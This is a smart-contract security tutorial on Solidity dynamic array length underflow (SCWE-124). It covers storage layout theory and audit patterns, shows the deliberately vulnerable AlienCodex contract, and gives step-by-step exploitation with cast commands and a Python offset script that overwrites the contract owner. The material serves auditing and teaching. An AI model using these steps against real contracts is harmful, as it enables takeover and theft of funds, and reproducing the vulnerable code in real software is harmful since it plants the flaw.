Dynamic Array Underflow
SCWE-124: Write to Arbitrary Storage Location
Theory
Before Solidity 0.8.0, dynamic arrays lacked length underflow protection. When a dynamic array's length was decreased below zero through array.length--, it would wrap around to 2^256 - 1, effectively granting write access to the entire contract storage.
Storage Layout Fundamentals
In Solidity, storage slots are 32-byte positions numbered from 0 to 2^256 - 1. Dynamic arrays store their length at a specific slot p, while their elements are stored starting at keccak256(p).
Example with a dynamic array at slot 1:
- Slot 1: stores the array length
- Slot
keccak256(1): storesarray[0] - Slot
keccak256(1) + 1: storesarray[1] - Slot
keccak256(1) + n: storesarray[n]
The Underflow Attack Vector
When array.length underflows from 0 to 2^256 - 1, the array theoretically spans the entire storage space. An attacker can then calculate offsets to overwrite any storage slot, including critical variables like contract ownership or access control flags.
Mathematical exploitation:
Target slot = keccak256(array_slot) + offset (mod 2^256)By solving for the offset, an attacker can write to arbitrary storage locations through seemingly legitimate array access operations.
Practice
When auditing pre-0.8.0 contracts, scrutinize any code that allows users to decrease dynamic array lengths, particularly through operations like pop(), manual length--, or delete on array elements in certain contexts.
High-Risk Patterns
Look for contracts where:
- Users can trigger array length decrements without proper bounds checking
- Dynamic arrays are combined with privileged storage variables in the same contract
- Array manipulation functions lack
require(array.length > 0)guards - Manual storage slot calculations are performed
Even in modern Solidity, be cautious of:
- Inline assembly manipulating array lengths (
sstore) - Custom storage layouts bypassing compiler protections
- Legacy contract upgrades that preserve old vulnerable logic
Vulnerable Contract Example
pragma solidity ^0.5.0;
contract AlienCodex {
address public owner;
bool public contact;
bytes32[] public codex; // Slot 1
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public {
require(contact);
codex.push(_content);
}
function retract() public {
require(contact);
codex.length--; // Underflow vulnerability
}
function revise(uint i, bytes32 _content) public {
require(contact);
codex[i] = _content; // Arbitrary storage write
}
}The owner variable is stored in slot 0, while codex.length is at slot 1. The array data begins at keccak256(1).
Exploitation Steps
Step 1: Trigger the underflow
cast send $CONTRACT_ADDRESS \
"makeContact()" \
--rpc-url $RPC_URL \
--private-key $PK
cast send $CONTRACT_ADDRESS \
"retract()" \
--rpc-url $RPC_URL \
--private-key $PKAfter retract(), codex.length becomes 2^256 - 1, allowing access to all storage slots.
Step 2: Calculate the offset to slot 0
from web3 import Web3
# Storage slot where codex data starts
array_data_slot = int(Web3.solidity_keccak(['uint256'], [1]).hex(), 16)
# Calculate offset to reach slot 0
target_slot = 0
offset = (2**256 - array_data_slot + target_slot) % (2**256)
print(f"Offset to overwrite owner: {hex(offset)}")Step 3: Overwrite the owner variable
# Prepare the new owner address (your address, left-padded to 32 bytes)
NEW_OWNER="0x000000000000000000000000YOUR_ADDRESS_HERE"
cast send $CONTRACT_ADDRESS \
"revise(uint256,bytes32)" \
$OFFSET \
$NEW_OWNER \
--rpc-url $RPC_URL \
--private-key $PKThe attacker now controls the contract by overwriting slot 0 where the owner address is stored.